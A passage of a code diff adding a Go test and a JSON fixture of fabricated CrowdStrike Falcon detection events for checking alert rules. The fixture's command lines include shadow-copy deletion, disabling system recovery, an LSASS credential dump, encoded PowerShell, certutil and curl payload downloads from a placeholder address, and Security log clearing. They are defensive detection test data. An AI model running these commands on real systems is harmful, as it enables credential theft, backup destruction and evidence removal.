contractPaths(new(plugins.Event).ProtoReflect().Descriptor(), "", eventPaths) + contractPaths(new(plugins.Alert).ProtoReflect().Descriptor(), "", alertPaths) + alertPath := func(p string) bool { + p = groupingArrayIndex.ReplaceAllString(strings.TrimSuffix(p, ".keyword"), "$1") + if rest, ok := strings.CutPrefix(p, "lastEvent."); ok { + return eventPaths[rest] || strings.HasPrefix(rest, "log.") + } + return alertPaths[p] + } + needed := map[string]bool{} + for name, rule := range rules { + for _, field := range append(append([]string{}, rule.GroupBy...), rule.DeduplicateBy...) { + if !alertPath(field) { + t.Errorf("%s: %s is not an alert field", name, field) + } + if strings.HasPrefix(field, "adversary.") { + needed[name] = true + } + } + } + exercised := map[string]bool{} + for _, e := range csReviewEvents(t) { + for _, name := range e.Rules { + rule, ok := rules[name] + if !ok { + t.Fatalf("%s: unknown rule %s", e.Name, name) + } + fields := rule.GroupBy + if len(rule.DeduplicateBy) > 0 { + fields = rule.DeduplicateBy + } + if len(fields) == 0 { + continue + } + t.Run(e.Name+"/"+name, func(t *testing.T) { + adversary, target := e.event.Origin, e.event.Target + if strings.ToLower(rule.Adversary) == "target" { + adversary, target = e.event.Target, e.event.Origin + } + alert := &plugins.Alert{Name: rule.Name, TenantId: e.event.TenantId, DataSource: e.event.DataSource, + DataType: e.event.DataType, Category: rule.Category, Technique: rule.Technique, + Description: rule.Description, Impact: rule.Impact, References: rule.References, + Adversary: adversary, Target: target, Events: []*plugins.Event{e.event}, + DeduplicateBy: rule.DeduplicateBy, GroupBy: rule.GroupBy} + wire, err := utils.ProtoMessageToString(alert) + if err != nil { + t.Fatal(err) + } + builder := sdkos.NewBoolBuilder(context.Background(), nil, "crowdstrike-review-keys") + builder.FilterTerm("name", rule.Name) + if !addAlertGroupingTerms(builder, *wire, fields) { + t.Fatalf("no usable key in %v", fields) + } + query, buildErrors := builder.BuildWithErrors() + if len(buildErrors) != 0 { + t.Fatal(buildErrors) + } + terms := map[string]any{} + for _, clause := range query.Bool.Filter { + for field, term := range clause.Term { + terms[field] = term["value"] + } + } + for _, field := range fields { + field = strings.TrimSuffix(field, ".keyword") + value, resolved := scalarGroupingValue(alertGroupingValue(*wire, field)) + if slices.Contains(e.MissingIdentity, field) { + if resolved { + t.Errorf("%s resolved to %v on a record without it", field, value) + } + continue + } + if !resolved { + t.Errorf("%s does not resolve", field) + continue + } + if side, ok := strings.CutPrefix(field, "adversary."); ok { + if want := gjson.Get(e.eventJSON, "origin."+side).Value(); value != want { + t.Errorf("%s = %v, want the event's origin.%s %v", field, value, side, want) + } + } + if terms[field] != value { + t.Errorf("search term %s = %v, want %v", field, terms[field], value) + } + } + if name := terms["name"]; name != rule.Name { + t.Errorf("name term %v", name) + } + }) + exercised[name] = true + } + } + for name := range needed { + if !exercised[name] { + t.Errorf("%s: no fixture exercises its adversary keys", name) + } + } +} diff --git a/plugins/alerts/testdata/crowdstrike-review/raw.json b/plugins/alerts/testdata/crowdstrike-review/raw.json new file mode 100644 index 000000000..d4ef60cb1 --- /dev/null +++ b/plugins/alerts/testdata/crowdstrike-review/raw.json @@ -0,0 +1,1032 @@ +{ + "description": "Fabricated CrowdStrike Falcon event-stream records for crowdstrike_review_test.go. Addresses are RFC 5737 documentation addresses, MAC addresses RFC 7042 documentation addresses, names are examples and customer and client identifiers are zero. No record comes from a customer.", + "cases": [ + { + "name": "vss-quoted-program-path", + "purpose": "Shadow-copy deletion whose program path is quoted: the command line must keep both quotes.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 101, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000101000, + "version": "1.0" + }, + "event": { + "AgentId": "00000000000000000000000000000001", + "CompositeId": "00000000000000000000000000000000:ind:00000000000000000000000000000001:1", + "Hostname": "ws-example-01", + "LocalIP": "192.0.2.1", + "MACAddress": "00-00-5e-00-53-01", + "UserName": "example.user", + "PlatformName": "Windows", + "FileName": "vssadmin.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "\"C:\\Windows\\System32\\vssadmin.exe\" delete shadows /all /quiet", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Execution", + "Technique": "Command and Scripting Interpreter", + "Objective": "Follow Through", + "PatternId": 10001, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4001, + "ParentProcessId": 3001, + "ProcessStartTime": 1790000101, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/00000000000000000000000000000001" + } + }, + "expected": { + "origin.host": "ws-example-01", + "origin.ip": "192.0.2.1", + "origin.operatingSystem": "Windows", + "origin.user": "example.user", + "log.eventCommandLine": "\"C:\\Windows\\System32\\vssadmin.exe\" delete shadows /all /quiet", + "log.eventParentCommandLine": "\"C:\\Windows\\explorer.exe\"" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml", + "inhibit_system_recovery.yml" + ] + }, + { + "name": "bcdedit-quoted-last-argument-no-user", + "purpose": "Recovery disabled with a quoted last argument, on a detection without a user name.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 102, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000102000, + "version": "1.0" + }, + "event": { + "AgentId": "00000000000000000000000000000002", + "CompositeId": "00000000000000000000000000000000:ind:00000000000000000000000000000002:2", + "Hostname": "ws-example-02", + "LocalIP": "192.0.2.2", + "MACAddress": "00-00-5e-00-53-02", + "PlatformName": "Windows", + "FileName": "cmd.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "cmd.exe /c bcdedit /set {current} recoveryenabled \"No\"", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Execution", + "Technique": "Command and Scripting Interpreter", + "Objective": "Follow Through", + "PatternId": 10002, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4002, + "ParentProcessId": 3002, + "ProcessStartTime": 1790000102, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/00000000000000000000000000000002" + } + }, + "expected": { + "origin.host": "ws-example-02", + "origin.ip": "192.0.2.2", + "origin.operatingSystem": "Windows", + "log.eventCommandLine": "cmd.exe /c bcdedit /set {current} recoveryenabled \"No\"" + }, + "absent": [ + "log.event.CommandLine", + "origin.user" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml", + "inhibit_system_recovery.yml" + ], + "missingIdentity": [ + "adversary.user" + ] + }, + { + "name": "vssadmin-list-near-miss", + "purpose": "Listing shadow copies is not deletion.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 103, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000103000, + "version": "1.0" + }, + "event": { + "AgentId": "00000000000000000000000000000003", + "CompositeId": "00000000000000000000000000000000:ind:00000000000000000000000000000003:3", + "Hostname": "ws-example-03", + "LocalIP": "192.0.2.3", + "MACAddress": "00-00-5e-00-53-03", + "UserName": "example.user", + "PlatformName": "Windows", + "FileName": "vssadmin.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "vssadmin.exe list shadows", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Execution", + "Technique": "Command and Scripting Interpreter", + "Objective": "Follow Through", + "PatternId": 10003, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4003, + "ParentProcessId": 3003, + "ProcessStartTime": 1790000103, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/00000000000000000000000000000003" + } + }, + "expected": { + "origin.host": "ws-example-03", + "origin.ip": "192.0.2.3", + "origin.operatingSystem": "Windows", + "origin.user": "example.user", + "log.eventCommandLine": "vssadmin.exe list shadows" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml" + ] + }, + { + "name": "procdump-quoted-both-ends", + "purpose": "LSASS memory dump whose command line starts and ends with a quote.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 104, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000104000, + "version": "1.0" + }, + "event": { + "AgentId": "00000000000000000000000000000004", + "CompositeId": "00000000000000000000000000000000:ind:00000000000000000000000000000004:4", + "Hostname": "ws-example-04", + "LocalIP": "192.0.2.4", + "MACAddress": "00-00-5e-00-53-04", + "UserName": "example.admin", + "PlatformName": "Windows", + "FileName": "procdump64.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "\"C:\\Tools\\procdump64.exe\" -accepteula -ma lsass.exe \"C:\\Temp\\lsass.dmp\"", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Credential Access", + "Technique": "OS Credential Dumping", + "Objective": "Follow Through", + "PatternId": 10004, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4004, + "ParentProcessId": 3004, + "ProcessStartTime": 1790000104, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/00000000000000000000000000000004" + } + }, + "expected": { + "origin.host": "ws-example-04", + "origin.ip": "192.0.2.4", + "origin.operatingSystem": "Windows", + "origin.user": "example.admin", + "log.eventCommandLine": "\"C:\\Tools\\procdump64.exe\" -accepteula -ma lsass.exe \"C:\\Temp\\lsass.dmp\"" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml", + "os_credential_dumping_activity.yml" + ] + }, + { + "name": "lsass-tasklist-near-miss", + "purpose": "Looking up the LSASS process is not a dump.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 105, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000105000, + "version": "1.0" + }, + "event": { + "AgentId": "00000000000000000000000000000005", + "CompositeId": "00000000000000000000000000000000:ind:00000000000000000000000000000005:5", + "Hostname": "ws-example-05", + "LocalIP": "192.0.2.5", + "MACAddress": "00-00-5e-00-53-05", + "UserName": "example.user", + "PlatformName": "Windows", + "FileName": "tasklist.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "tasklist.exe /fi \"imagename eq lsass.exe\"", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Execution", + "Technique": "Command and Scripting Interpreter", + "Objective": "Follow Through", + "PatternId": 10005, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4005, + "ParentProcessId": 3005, + "ProcessStartTime": 1790000105, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/00000000000000000000000000000005" + } + }, + "expected": { + "origin.host": "ws-example-05", + "origin.ip": "192.0.2.5", + "origin.operatingSystem": "Windows", + "origin.user": "example.user", + "log.eventCommandLine": "tasklist.exe /fi \"imagename eq lsass.exe\"" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml" + ] + }, + { + "name": "powershell-encoded-quoted-path", + "purpose": "Encoded PowerShell started through its quoted full path.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 106, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000106000, + "version": "1.0" + }, + "event": { + "AgentId": "00000000000000000000000000000006", + "CompositeId": "00000000000000000000000000000000:ind:00000000000000000000000000000006:6", + "Hostname": "ws-example-06", + "LocalIP": "192.0.2.6", + "MACAddress": "00-00-5e-00-53-06", + "UserName": "example.user", + "PlatformName": "Windows", + "FileName": "powershell.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -enc SQBFAFgA", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Execution", + "Technique": "Command and Scripting Interpreter", + "Objective": "Follow Through", + "PatternId": 10006, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4006, + "ParentProcessId": 3006, + "ProcessStartTime": 1790000106, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/00000000000000000000000000000006" + } + }, + "expected": { + "origin.host": "ws-example-06", + "origin.ip": "192.0.2.6", + "origin.operatingSystem": "Windows", + "origin.user": "example.user", + "log.eventCommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -enc SQBFAFgA" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml", + "suspicious_encoded_powershell_execution.yml" + ] + }, + { + "name": "powershell-file-near-miss", + "purpose": "A PowerShell script file is not an encoded command.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 107, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000107000, + "version": "1.0" + }, + "event": { + "AgentId": "00000000000000000000000000000007", + "CompositeId": "00000000000000000000000000000000:ind:00000000000000000000000000000007:7", + "Hostname": "ws-example-07", + "LocalIP": "192.0.2.7", + "MACAddress": "00-00-5e-00-53-07", + "UserName": "example.user", + "PlatformName": "Windows", + "FileName": "powershell.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "powershell.exe -NoProfile -File \"C:\\Scripts\\report.ps1\"", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Execution", + "Technique": "Command and Scripting Interpreter", + "Objective": "Follow Through", + "PatternId": 10007, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4007, + "ParentProcessId": 3007, + "ProcessStartTime": 1790000107, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/00000000000000000000000000000007" + } + }, + "expected": { + "origin.host": "ws-example-07", + "origin.ip": "192.0.2.7", + "origin.operatingSystem": "Windows", + "origin.user": "example.user", + "log.eventCommandLine": "powershell.exe -NoProfile -File \"C:\\Scripts\\report.ps1\"" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml" + ] + }, + { + "name": "certutil-urlcache", + "purpose": "certutil downloading over HTTP.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 108, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000108000, + "version": "1.0" + }, + "event": { + "AgentId": "00000000000000000000000000000008", + "CompositeId": "00000000000000000000000000000000:ind:00000000000000000000000000000008:8", + "Hostname": "ws-example-08", + "LocalIP": "192.0.2.8", + "MACAddress": "00-00-5e-00-53-08", + "UserName": "example.user", + "PlatformName": "Windows", + "FileName": "certutil.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "certutil.exe -urlcache -split -f http://198.51.100.20/payload.bin C:\\Users\\Public\\payload.bin", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Command and Control", + "Technique": "Ingress Tool Transfer", + "Objective": "Follow Through", + "PatternId": 10008, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4008, + "ParentProcessId": 3008, + "ProcessStartTime": 1790000108, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/00000000000000000000000000000008" + } + }, + "expected": { + "origin.host": "ws-example-08", + "origin.ip": "192.0.2.8", + "origin.operatingSystem": "Windows", + "origin.user": "example.user", + "log.eventCommandLine": "certutil.exe -urlcache -split -f http://198.51.100.20/payload.bin C:\\Users\\Public\\payload.bin" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml", + "suspicious_native_downloaders.yml" + ] + }, + { + "name": "certutil-hashfile-near-miss", + "purpose": "certutil hashing a local file downloads nothing.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 109, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000109000, + "version": "1.0" + }, + "event": { + "AgentId": "00000000000000000000000000000009", + "CompositeId": "00000000000000000000000000000000:ind:00000000000000000000000000000009:9", + "Hostname": "ws-example-09", + "LocalIP": "192.0.2.9", + "MACAddress": "00-00-5e-00-53-09", + "UserName": "example.user", + "PlatformName": "Windows", + "FileName": "certutil.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "certutil.exe -hashfile \"C:\\Windows\\notepad.exe\" SHA256", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Execution", + "Technique": "Command and Scripting Interpreter", + "Objective": "Follow Through", + "PatternId": 10009, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4009, + "ParentProcessId": 3009, + "ProcessStartTime": 1790000109, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/00000000000000000000000000000009" + } + }, + "expected": { + "origin.host": "ws-example-09", + "origin.ip": "192.0.2.9", + "origin.operatingSystem": "Windows", + "origin.user": "example.user", + "log.eventCommandLine": "certutil.exe -hashfile \"C:\\Windows\\notepad.exe\" SHA256" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml" + ] + }, + { + "name": "mac-curl-quoted-url", + "purpose": "curl on macOS fetching a quoted HTTP address.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 110, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000110000, + "version": "1.0" + }, + "event": { + "AgentId": "0000000000000000000000000000000a", + "CompositeId": "00000000000000000000000000000000:ind:0000000000000000000000000000000a:10", + "Hostname": "mac-example-10", + "LocalIP": "192.0.2.10", + "MACAddress": "00-00-5e-00-53-0a", + "UserName": "example.user", + "PlatformName": "Mac", + "FileName": "curl", + "FilePath": "/usr/bin", + "CommandLine": "/usr/bin/curl -s -o /tmp/update.sh \"http://198.51.100.20/update.sh\"", + "ParentImageFileName": "bash", + "ParentCommandLine": "/bin/bash", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Command and Control", + "Technique": "Ingress Tool Transfer", + "Objective": "Follow Through", + "PatternId": 10010, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4010, + "ParentProcessId": 3010, + "ProcessStartTime": 1790000110, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/0000000000000000000000000000000a" + } + }, + "expected": { + "origin.host": "mac-example-10", + "origin.ip": "192.0.2.10", + "origin.operatingSystem": "Mac", + "origin.user": "example.user", + "log.eventCommandLine": "/usr/bin/curl -s -o /tmp/update.sh \"http://198.51.100.20/update.sh\"" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml", + "suspicious_downloader_execution_linux_macos.yml", + "suspicious_native_downloaders.yml" + ] + }, + { + "name": "wevtutil-clear", + "purpose": "wevtutil clearing the Security log.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 111, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000111000, + "version": "1.0" + }, + "event": { + "AgentId": "0000000000000000000000000000000b", + "CompositeId": "00000000000000000000000000000000:ind:0000000000000000000000000000000b:11", + "Hostname": "ws-example-11", + "LocalIP": "192.0.2.11", + "MACAddress": "00-00-5e-00-53-0b", + "UserName": "example.admin", + "PlatformName": "Windows", + "FileName": "wevtutil.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "wevtutil cl Security", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Defense Evasion", + "Technique": "Indicator Removal", + "Objective": "Follow Through", + "PatternId": 10011, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4011, + "ParentProcessId": 3011, + "ProcessStartTime": 1790000111, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/0000000000000000000000000000000b" + } + }, + "expected": { + "origin.host": "ws-example-11", + "origin.ip": "192.0.2.11", + "origin.operatingSystem": "Windows", + "origin.user": "example.admin", + "log.eventCommandLine": "wevtutil cl Security" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml", + "windows_event_log_clearing.yml" + ] + }, + { + "name": "clear-eventlog-quoted-argument", + "purpose": "Clear-EventLog inside a quoted PowerShell command.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 112, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000112000, + "version": "1.0" + }, + "event": { + "AgentId": "0000000000000000000000000000000c", + "CompositeId": "00000000000000000000000000000000:ind:0000000000000000000000000000000c:12", + "Hostname": "ws-example-12", + "LocalIP": "192.0.2.12", + "MACAddress": "00-00-5e-00-53-0c", + "UserName": "example.admin", + "PlatformName": "Windows", + "FileName": "powershell.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "powershell.exe -Command \"Clear-EventLog -LogName Security\"", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Defense Evasion", + "Technique": "Indicator Removal", + "Objective": "Follow Through", + "PatternId": 10012, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4012, + "ParentProcessId": 3012, + "ProcessStartTime": 1790000112, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/0000000000000000000000000000000c" + } + }, + "expected": { + "origin.host": "ws-example-12", + "origin.ip": "192.0.2.12", + "origin.operatingSystem": "Windows", + "origin.user": "example.admin", + "log.eventCommandLine": "powershell.exe -Command \"Clear-EventLog -LogName Security\"" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml", + "windows_event_log_clearing.yml" + ] + }, + { + "name": "wevtutil-query-spaces-near-miss", + "purpose": "Querying events is not clearing them; surrounding spaces are removed, quotes kept.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 113, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000113000, + "version": "1.0" + }, + "event": { + "AgentId": "0000000000000000000000000000000d", + "CompositeId": "00000000000000000000000000000000:ind:0000000000000000000000000000000d:13", + "Hostname": "ws-example-13", + "LocalIP": "192.0.2.13", + "MACAddress": "00-00-5e-00-53-0d", + "UserName": "example.user", + "PlatformName": "Windows", + "FileName": "wevtutil.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": " \"C:\\Windows\\System32\\wevtutil.exe\" qe Security /c:5 ", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Execution", + "Technique": "Command and Scripting Interpreter", + "Objective": "Follow Through", + "PatternId": 10013, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4013, + "ParentProcessId": 3013, + "ProcessStartTime": 1790000113, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/0000000000000000000000000000000d" + } + }, + "expected": { + "origin.host": "ws-example-13", + "origin.ip": "192.0.2.13", + "origin.operatingSystem": "Windows", + "origin.user": "example.user", + "log.eventCommandLine": "\"C:\\Windows\\System32\\wevtutil.exe\" qe Security /c:5" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml" + ] + }, + { + "name": "command-line-list", + "purpose": "A command line sent as a list of objects is stored as its JSON text without the outer brackets, as before.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 114, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000114000, + "version": "1.0" + }, + "event": { + "AgentId": "0000000000000000000000000000000e", + "CompositeId": "00000000000000000000000000000000:ind:0000000000000000000000000000000e:14", + "Hostname": "ws-example-14", + "LocalIP": "192.0.2.14", + "MACAddress": "00-00-5e-00-53-0e", + "UserName": "example.user", + "PlatformName": "Windows", + "FileName": "vssadmin.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": [ + { + "Value": "vssadmin delete shadows /all" + } + ], + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Execution", + "Technique": "Command and Scripting Interpreter", + "Objective": "Follow Through", + "PatternId": 10014, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": false, + "ProcessBlocked": false + }, + "ProcessId": 4014, + "ParentProcessId": 3014, + "ProcessStartTime": 1790000114, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/0000000000000000000000000000000e" + } + }, + "expected": { + "origin.host": "ws-example-14", + "origin.ip": "192.0.2.14", + "origin.operatingSystem": "Windows", + "origin.user": "example.user", + "log.eventCommandLine": "\"Value\":\"vssadmin delete shadows /all\"" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml", + "inhibit_system_recovery.yml" + ] + }, + { + "name": "policy-disabled", + "purpose": "A detection whose disposition flags say the prevention policy was disabled.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 115, + "eventType": "EppDetectionSummaryEvent", + "eventCreationTime": 1790000115000, + "version": "1.0" + }, + "event": { + "AgentId": "0000000000000000000000000000000f", + "CompositeId": "00000000000000000000000000000000:ind:0000000000000000000000000000000f:15", + "Hostname": "ws-example-15", + "LocalIP": "192.0.2.15", + "MACAddress": "00-00-5e-00-53-0f", + "UserName": "example.admin", + "PlatformName": "Windows", + "FileName": 